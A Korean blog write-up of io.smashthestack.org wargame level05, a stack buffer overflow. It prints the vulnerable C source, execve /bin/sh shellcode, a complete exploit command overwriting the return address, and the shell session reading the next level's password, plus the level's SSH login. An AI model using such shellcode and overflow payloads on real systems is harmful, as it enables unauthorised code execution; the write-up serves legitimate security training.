본문 바로가기

Wargame/io.smashthestack.org

level05

ssh level5@io.netgarage.org

LOoCy5PbKi63qXTh



#include <stdio.h>

#include <string.h>


int main(int argc, char **argv) {


char buf[128];


if(argc < 2) return 1;

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;

}


기초적인 BOF 문제다.

strcpy 에서 argv 길이 확인을 안하고 buf에 복사해버리므로 쉘코드를 넣고 ret를 쉘코드 위치로 돌리면 될 것 같다.


buffer + dummy + sfp + ret

128 + 8 + 4 + 4




\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80


23 bytes


execve /bin/sh 쉘코드를 사용했다.



payload=

nop(113) + shellcode(23) + nop(4) + &buffer


&buffer = 0xbffffe28


level5@io:/levels$ ./level05 `python -c 'print "\x90"*113 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*4 + "\x28\xfe\xff\xbf"'`

1￐h//shh/bin⏓ 

             ̀(þÿ¿

sh-4.2$ cat /home/level6/.pass

rXCikld0ex3EQsnI

sh-4.2$









'Wargame > io.smashthestack.org' 카테고리의 다른 글

level6  (0) 2015.04.12
level04  (0) 2015.04.12
level3  (0) 2015.04.12
level02  (0) 2015.04.12
level01  (0) 2015.04.12